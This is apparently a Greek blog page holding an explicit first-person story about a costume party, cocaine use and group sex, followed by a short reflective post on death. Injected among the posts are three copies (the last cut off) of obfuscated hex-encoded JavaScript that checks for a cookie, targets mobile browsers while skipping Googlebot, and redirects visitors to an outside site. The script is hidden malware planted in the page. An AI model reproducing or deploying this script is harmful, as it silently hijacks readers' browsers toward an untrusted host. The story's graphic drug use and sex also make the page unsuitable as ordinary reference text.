Ο Ζαν και ο Αλέκος φορούσαν φράκο και τα παπιγιόν τους είχαν τα χρώματα της εταιρείας. Χρυσό και μπλε της θάλασσας. Η Αλίκη είναι ντυμένη μισό φυτό – μισό λουλούδι. Έχει το σώμα πράσινο με γιακά σε σχήμα μικρών φύλλων και το πρόσωπο τριαντάφυλλο , γεμάτο ροδοπέταλα με ένα παράξενο τρόπο απλωμένα πάνω της που θυμίζει τριαντάφυλλο που ανθίζει. Μου άρεσε που είχε ένα τριαντάφυλλο στο πρόσωπο και η γύρη ήταν στις βλεφαρίδες και γύρο από το μάτι τα ροδοπέταλα έφτιαχναν το πιο όμορφο τριαντάφυλλο που έχω δει. Η Ανθή ήταν μία κλασσική βασίλισσα της νύχτας ενώ η Έλενα προσπαθώντας να δελεάσει και τους τελευταίους άνδρες του πάρτι ντύθηκε τσιρλίντερ του Ολυμπιακού. Είναι πολύς κόσμος εδώ, όλοι φίλοι , πελάτες και γνωστοί του Κωνσταντίνου και μια φοβερή χάουζ γεμίζει το χώρο. Κάποια στιγμή βλέπω και τη Φρίντα που φοράει μαύρο κοστούμι και από μέσα τι-σερτ με το Μπόγκαρντ και έχει μαύρους κύκλους στα μάτια . Φοράει ασπρόμαυρα παπούτσια φίφτις και καπνίζει σαν «άντρας». Μόλις φθάνω με πλησιάζει αμέσως . Δεν ξέρω αν θα με «μυρίσει» – αν θα με σνιφάρει ήθελα να πω – γιατί μετά είμαι σίγουρος ότι δεν θα ξεκολλήσει από δίπλα μου. Όμως κανείς ακόμα δεν έχει φανταστεί «τι φοράω» και τα πράγματα κυλάνε φυσιολογικά.
Δεν είναι μόνο η παρέα μας εκεί. Είναι αρκετοί κολλητοί του Κωνσταντίνου από το κολέγιο ,συνεργάτες και πελάτες από την επιχείρηση και όπως είναι προφανές οι Ζαν και Αλέκος τους προσεγγίζουν και μιλάνε μαζί τους και τσουγγρίζουν και λένε αστεία διατηρώντας το πνεύμα της εργασίας και στη διασκέδαση.
Δεν μπορώ να πω ότι δεν δέχτηκα μία γροθιά στο στομάχι μόλις πλησίασα τη Λώρα. Είναι μία θεά. Την κοίταξα και πάγωσα. Ένιωσα την αυτοπεποίθησή μου να φεύγει από μέσα μου σαν ψυχή που εγκαταλείπει το σώμα και να μένω μπροστά της ένα τίποτα, ένα κύμβαλο που δεν θα ηχήσει πλέον. Είμαι σίγουρος ότι πρόσεξε αυτή την «απώλειά μου» , αυτό το τρέμουλο στα χέρια και στα χείλη μου. Κόσμος , υπερβολικά πολύς κόσμος για ένα πάρτι, που ευτυχώς μεσολάβησε ανάμεσά μας και δεν μπόρεσε να με πλησιάσει …
Υπέροχη Λώρα , πόση ώρα μπορείς να παλεύεις και να ματώνεις με ένα αρσενικό πριν κάνεις σεξ μαζί του; Πόσο μπορεί να ζητάει η ψυχή σου αυτή την απόλυτη δύναμη που μπορεί να σε κάνει να νιώσεις γυναίκα; (Δεν θα γίνω ποιητής με τέτοια χάλια τώρα.) Χρειάζομαι επειγόντως ένα ουίσκι και σηκώνω το χέρι μου για να εισπνεύσω λίγη «αυτοπεποίθηση» από το μανίκι. Αρχίζω να αισθάνομαι καλύτερα. Πλησιάζω το μπουφέ και παίρνω ένα σκοτς με πολύ πάγο. Κατεβάζω μία γουλιά και …Λώρα , Λώρα πως τόσο καιρό «παίζεις χωρίς αντίπαλο»; Ποιος Κωνσταντίνος …; Σιγά τώρα…
Είναι φανερό πως έχω τρομερά σκαμπανεβάσματα στη ψυχολογία μου και φοβάμαι πως δεν θα καταφέρω το στόχο μου απόψε. Δεν είναι μόνο ότι τώρα έχω επικεντρώσει τη προσοχή μου στη Λώρα και έχω περισσότερο άγχος από κάθε άλλη φορά , αλλά με επηρεάζουν πάρα πολύ και τα πρόσωπα. Υπάρχει σ’ αυτή τη παρέα του Κωνσταντίνου από το κολέγιο και ένας πολύ ηγετικός τύπος – αυτός πρέπει να ήταν ο μεγάλος αντίπαλος του Κωνσταντίνου στην εφηβεία του- δεν ξέρω ακόμα το όνομά του και θα μπορούσα να του δώσω άνετα το ψευδώνυμο «Αντίνοος» ,που ήταν ο αρχηγός των μνηστήρων στην Οδύσσεια αν θυμάστε. Το λεω αυτό γιατί νομίζω ότι έχει πράγματι τέτοια συμπεριφορά και βλέπω ότι έχει υπό τις διαταγές του κάποια «παιδάκια» που δεν κατάφεραν να μεγαλώσουν ακόμα και χρειάζονται ένα αρχηγό που να τους δείχνει το στόχο. Αν δείτε πως κοιτάζουν όλοι αυτοί τη Λώρα , θα ήταν ικανοί να διαμελίσουν το «χιτώνα» της και να τον παίξουν στα ζάρια. Και φυσικά όποιος κερδίσει θα έχει δική του τη Λώρα. Ο Κωνσταντίνος επιτηρεί τη κατάσταση με ψυχραιμία και το πάρτι έχει αυτό το θορυβώδες στυλ που έχουν όλα τα 30 παρά κάτι ιβέντς και οι μεταμφιέσεις κάνουν τον κόσμο πιο αυθόρμητο και πιο εκδηλωτικό. Ο «Αντίνοος» με τους φίλους του κάνει υπερβολική φασαρία.
Πράγματι δεν ξέρω αν υπάρχει κατάλληλη ευκαιρία για να πλησιάσω τη Λώρα να τη παρασύρω να δοκιμάσει το κρυμμένο δώρο που έχω γι’ αυτήν. Κάποια στιγμή βρίσκομαι να μιλάω με τη Φρίντα. Έχω μία αόριστη φοβία ότι πάλι αυτή θα είναι η τυχερή που θα μοιραστεί το μυστικό μου. Είμαι πολύ αφηρημένος , δεν ξέρω αν σνιφάρησα πολύ ή αν έχω πιει αρκετά , έχω ένα ελαφρύ τρέμουλο και κάτι σαν ανησυχία . Ανταλλάσσουμε συνηθισμένες φράσεις , για το τι κάνουμε αυτό τον καιρό και σχόλια για τους άλλους γύρο μας , μου δίνει μια εντύπωση πως γουστάρει αυτόν που εγώ έχω ονομάσει Αντίνοο , λεει πως είναι γόνος παλιάς αριστοκρατικής οικογένειας , τον έχουν πολύ συχνά οι κοσμικές στήλες , είναι τρελός με τα κλαμπ και με τα πάρτι και πως το χόμπι του είναι το «ουάν νάιτ σεξ» και οι «χυλόπιτες». Δείχνει να μη τον φοβίζει τίποτε και με μία βιαστική σκέψη της στιγμής νομίζω ότι δεν πρέπει να συνάντησε και πολλά εμπόδια στη ζωή του. Δεν νομίζω να έχει δοκιμαστεί η αυτοπεποίθησή του σε δύσκολες συνθήκες. Η Φρίντα τον παρακολουθεί συνέχεια , δεν χάνει τίποτε από τις εκφράσεις του , τα πειράγματα του , τον τρόπο που κρατάει το ποτήρι και τώρα που προσέχω καλύτερα … έχω την εντύπωση ότι κι αυτός δεν χάνει από το οπτικό του πεδίο το επίμονο βλέμμα της Φρίντας, με ένα πολύ δικό του στυλ , διακριτικό και κραυγαλέο στις αποχρώσεις του , μετατρέποντας σε ένα μικρό σόου ,το παιχνίδι που λέγεται «καμάκι».
Η Λώρα όλως περιέργως τώρα μιλάει με την Αλίκη και πιάνω τον εαυτό μου να μετατρέπεται σταδιακά σ’ ένα κουρέλι που δεν θα καταφέρει να κάνει τίποτε ποτέ και ένα κύμα απαισιοδοξίας έρχεται και με σκεπάζει καταλυτικά , κατεβάζω μερικές γουλιές ουίσκι ακόμα για να αισθανθώ καλύτερα αλλά δεν τα καταφέρνω. Δεν μπορώ να συνειδητοποιήσω αν ανακάτεψα τις «γεύσεις» ή αν πράγματι δεν είμαι καλά ψυχολογικά και αναζητάω επειγόντως μία καρέκλα να καθίσω και απομακρύνομαι από τη Φρίντα που τη βλέπω να πλησιάζει τον «Αντίνοο» και να λένε κάτι πολύ γρήγορα και ψιθυριστά πριν φθάσει τελικά στη Λώρα.
Τελικά καταλήγω στη τουαλέτα και κάνω μία προσπάθεια να κάνω εμετό αλλά δεν γίνεται τίποτε.
Όταν βγαίνω πέφτω πάνω στη Φρίντα που με ρωτάει αποφασιστικά αν έχω φέρει «τίποτε» μαζί μου. Κάνω μία κίνηση πολύ κουρασμένη που σημαίνει «ναι» και με παίρνει από το χέρι και με οδηγεί σ’ ένα δωμάτιο όπου εμφανίζεται ένα κλειδί στο χέρι της , ξεκλειδώνει και μπαίνουμε μέσα. Αμέσως ελαττώνεται ο θόρυβος της εκκωφαντικής μουσικής και αισθάνομαι καλύτερα. Ρίχνω μία ματιά και βλέπω ότι το δωμάτιο φωτίζεται από το απαλό φως μιας λάμπας στο κήπο. Δεν φαίνεται να υπάρχει κανείς άλλος εδώ. Κάθομαι σε μία πολυθρόνα και η Φρίντα θέλει να δει αμέσως το μικρό μας «μυστικό» . Της λεω ότι είναι κάτω από τα ρούχα μου. Μου προτείνει ένα παιχνίδι. Να μου κλείσει τα μάτια και μετά να ψάξει να το βρει. Ρίχνω μία ματιά γύρω μου για να διαπιστώσω ότι πρόκειται για ένα γραφείο με λιγοστά έπιπλα. Εγώ κάθομαι σε μία από τις καρέκλες συνεργασίας που είναι περισσότερο πολυθρόνες σε μία μάλλον συντηρητική γραμμή και δεν θυμίζουν καθόλου τις αντίστοιχες των επαγγελματικών χώρων. Η Φρίντα απομακρύνεται και σε λίγο βγάζει από τη τσάντα της ένα φουλάρι και με πλησιάζει για να μου δέσει τα μάτια. Τότε ακριβώς ακούγεται ένα χτύπημα στη πόρτα και η φωνή του «Αντίνοου» σε ένα χαμηλό τόνο ρωτάει «Που είσαι;». Παγώνουμε και οι δύο και η Φρίντα μένει με το φουλάρι τεντωμένο στα χέρια να το κοιτάζει για να υπολογίσει το μήκος του. Ο «Αντίνοος» ξέρει τι κάνει, αλλά η Φρίντα την τελευταία στιγμή προτίμησε κάτι πιο ελκυστικό από τη γοητεία του. Μετά από λίγα δευτερόλεπτα πλήρους ακινησίας και σιωπής ακούγεται να χτυπάει στη διπλανή πόρτα και να ρωτάει με την ίδια χαμηλή φωνή : «Πού είσαι;» Θα ψάξει όλα τα δωμάτια γιατί είναι σίγουρος ότι κάπου τον περιμένει η Φρίντα. Αφού απομακρυνθεί αρκετά η Φρίντα έρχεται πίσω μου και μου δένει τα μάτια.
«Λοιπόν θα ψάξω να βρω το φιξάκι » μου λεει «εσύ όμως δεν θα κουνηθείς καθόλου, όσο θα σε ψάχνω , κοντά τα χέρια , ούτε φιλιά ούτε μαλακίες» Αφήνομαι στα απαλά χέρια της. Μετά από λίγο σηκώνεται εκνευρισμένη και μου φωνάζει : «με δουλεύεις» Σηκώνω το μαντήλι από το ένα μάτι και ψιθυρίζω «για δοκίμασε τη σκόνη που έχω στις μασχάλες» . Αηδία … αλλά κολλάει τη μύτη της στη μασχάλη μου. Δεν μιλάει μόνο ρουφάει με επιμονή. Καλά θα περάσουμε σκέφτομαι , έστω κι αν η Λώρα είναι εκεί έξω. Σηκώνεται ξαφνικά και μου λεει: «περίμενε λίγο.» Πηγαίνει στην πόρτα , ακούει τους θορύβους και βγαίνει βιαστικά. Ακούω το κλειδί που γυρίζει και με κλειδώνει. Πετάω το μαντήλι. Πηγαίνω μέχρι το παράθυρο. Είμαστε στον πρώτο όροφο. Βγαίνω από τη μπαλκονόπορτα. Κάνει κρύο και αυτή με έχει ξεκουμπώσει παντού. Ρίχνω μια ματιά κάτω. Θα μπορούσα να κατεβώ από δω , να κρεμαστώ από τα κάγκελα ,να σκαλώσω στα κλαδιά ενός ξεπαγιασμένου φοίνικα και να πατήσω στον κήπο. Μετά πάω να πάρω το φόρντ μου και να εξαφανιστώ. Γυρίζω στο δωμάτιο ξεπαγιασμένος. Ακούω το μπάσο να δονεί πόρτες και τοίχους και οτιδήποτε άλλο άψυχο που κάποτε στον ίδιο χώρο μπορεί να «έλιωνε» από τον ήχο των βιολιών. Πολύ χρήμα η οικογένεια του Κωνσταντίνου. Χρήμα μαζεμένο από γενιά σε γενιά , που σε κάνει να νιώθεις ότι ο κόσμος περιφέρεται γύρω σου και οι δραστηριότητες του έχουν επίκεντρο εσένα.
Ακούω το κλειδί. Μπαίνουν η Λώρα με τη Φρίντα. Η Λώρα κρατάει μια μπουκάλα ουίσκι. Το παίρνω από τα χέρια της και καταπίνω λαίμαργα. «Δείξε μας τι έφερες» μου λεει. «τα έχω φορεμένα» λεω . Με καθίζουν στην καρέκλα και σνιφάρουν τα ρούχα μου. «Εδώ , εδώ…» λεω και δείχνω το σλιπ μου. Πέφτουν και οι δύο με τα μούτρα . Είναι ανεξέλεγκτο αυτό που νομίζω ότι γίνεται εκεί κάτω. Βρίσκονται τα πρόσωπά τους τόσο κοντά κολλημένα εκεί αναζητώντας περισσότερη ηδονή και εγώ είμαι σίγουρος πλέον ότι θέλω να σηκωθώ και να τις …….. και τις δύο. Η Λώρα το βάζει στο στόμα της χωρίς ενδοιασμούς. Τι γίνεται εδώ; Ούτε ένα φιλί; Κάποια προκαταρκτικά; Κάτι; Κάτι τέλος πάντων . Εεεεε είμαι και εγώ εδώ , έεεεε προσπαθώ να την τραβήξω από το πουλί μου και να την φιλήσω. «τι έπαθες βρε μαλάκα ; τι θέλεις;» … «τι θες…» συνέχισε τραυλίζοντας . «θέλεις συναίσθημα γαμώ τη πουτάνα σου ;»
Τι θέλω; Πίνω δύο γουλιές ακόμα και θέλω να κλάψω. Εκεί «κάτω» το πάρτι συνεχίζεται. Έριξα πολύ σκόνη στο εσώρουχο και δεν σταμάτησαν ούτε λεπτό να παλεύουν με το σώμα μου. Η Λώρα κάθισε πάνω μου «ιππαστί» ; (έτσι το λένε;). Κάναμε τρελές βόλτες στην καρέκλα και μετά συνέχισε η Φρίντα και τη δεύτερη φορά δεν μπορούσα να τελειώσω , η σκόνη και το ουίσκι με έκαναν να μη αισθάνομαι. Η Λώρα με τη γλώσσα της ασταμάτητη . Παίξαμε «τα παγωτά» , παίξαμε «τα παγάκια» , παίξαμε «τα γλυφιτζούρια» και ότι άλλο μπορεί να «γλύφεται» και τότε ακούστηκε στη πόρτα ο Κωνσταντίνος.
Σηκώθηκα ζαλισμένος. Με έσπρωξαν βιαστικά στο μπαλκόνι . Νομίζω άκουσα , «πήδα, φύγε , εξαφανίσου…» ξεκούμπωτος και με αστάθεια σημάδεψα με το σώμα μου τον φοίνικα. Μόνο που τώρα δεν είχα συναίσθηση. Άκουσα φωνές από το μπαλκόνι ενώ ήμουν στη ρίζα του δέντρου γδαρμένος και ξεπαγιασμένος.
Δεν με είδαν. Σύρθηκα μέχρι το αυτοκίνητο. Οδήγησα τυφλά . Οδήγησα σε λήθαργο. Έφθασα σπίτι. «Το άγαλμα της ελευθερίας» καταματωμένο χωρίς χιτώνα , μόνο με ένα εφαρμοστό καλσόν κι ένα τι σερτ , με τσακισμένο το στέμμα του ξεκλείδωσε την εξώπορτα. Μελέτησα την αλληλογραφία στην είσοδο από συνήθεια. Μπήκα στο σπίτι. Έπεσα στο στρώμα. Κοιμήθηκα ώρες. Ξύπνησα κάποτε… ξύπνησα.
Καφέ… θέλω καφέ. Μάλλον δεν έχω κεφάλι πάνω στους ώμους μου. Δεν έχω μυαλό . Πίνω καφέ και δεν ξέρω που πηγαίνει ο καφές που καταπίνω. Το κινητό δεν χτύπησε. Δεν με ψάχνει κανείς.
Ξανακοιμάμαι.
Ξύπνησα κάποτε … ξύπνησα. Κι άλλο καφέ… θέλω καφέ. Πεινάω ; «Δεν ξέρω» . Διψάω; «Ίσως» Το κεφάλι μου ένα άδειο δωμάτιο . Τι θέλω ; Τι μου αρέσει; Ποιός είμαι εγώ σ΄ αυτό το άδειο δωμάτιο;
Γυρίζω στο στρώμα μου. Έχω πλήρη συναίσθηση του τιποτένιου πλάσματος , για πρώτη φορά μετά από καιρό . Το άδειο μυαλό μου , το άδειο … που τώρα γεμίζει …. Γεμίζει μόνο από τη Λώρα .
Το κινητό δεν χτύπησε. Δεν με ψάχνει κανείς.
Ψάχνω το σακουλάκι με την άσπρη σκόνη . Το αγκαλιάζω και το φιλάω και ξαπλώνω μαζί του. Είμαι ένα τίποτε και έχω όλο τον κόσμο στα χέρια μου και … εσένα Λώρα , έχω σκάρτο ένα ολόκληρο κιλό Λώρα .
var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαρτίου 13, 2007

ο θάνατος

Filed under: Uncategorized — thelastrealanwnymous @ 7 :03 μμ

( Ο θάνατος σαν ανέκδοτο.) 

         Πετάς με ένα αεροπλάνο πάνω από την έρημο. Κάθεσαι δίπλα στο παράθυρο και βλέπεις ότι το σκάφος βρίσκεται στο κέντρο της ερήμου. Τίποτε ζωντανό για πολλά χιλιόμετρα τριγύρω.        Και τότε συμβαίνει αυτό που γίνεται και στα ανέκδοτα. Χαλάνε οι μηχανές. Το αεροπλάνο πέφτει και σώζεσαι μόνο εσύ και ένα  παιδί.        Απομακρύνεσαι από τα συντρίμμια που καίγονται ακόμα . Περπατάς με το παιδί δίπλα σου κάτω από τον καυτό ήλιο. Το παιδί κάνει πολλές ερωτήσεις. Μετά διψάει. Μετά πεινάει. Εσύ ξέρεις ότι δεν υπάρχει τίποτε εκεί γύρω. Το τέλος είναι αναπόφευκτο.        Πως θα εξηγήσεις στο παιδί τι πρόκειται να συμβεί ; Το πιθανότερο είναι να μη αντέξει και να πεθάνει πριν από σένα. Αλλά πριν συμβούν όλα αυτά θέλει να μάθει. Φυσικά πιστεύει ότι εσύ δεν θα του έκρυβες ποτέ την αλήθεια.

        Εδώ τελειώνει το ανέκδοτο. Τώρα βάλε τον εαυτό σου στη θέση του παιδιού και θυμήσου πόσες φορές περίμενες από κάποιον , από κάπου , μια ειλικρινή απάντηση για το θάνατο.

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( 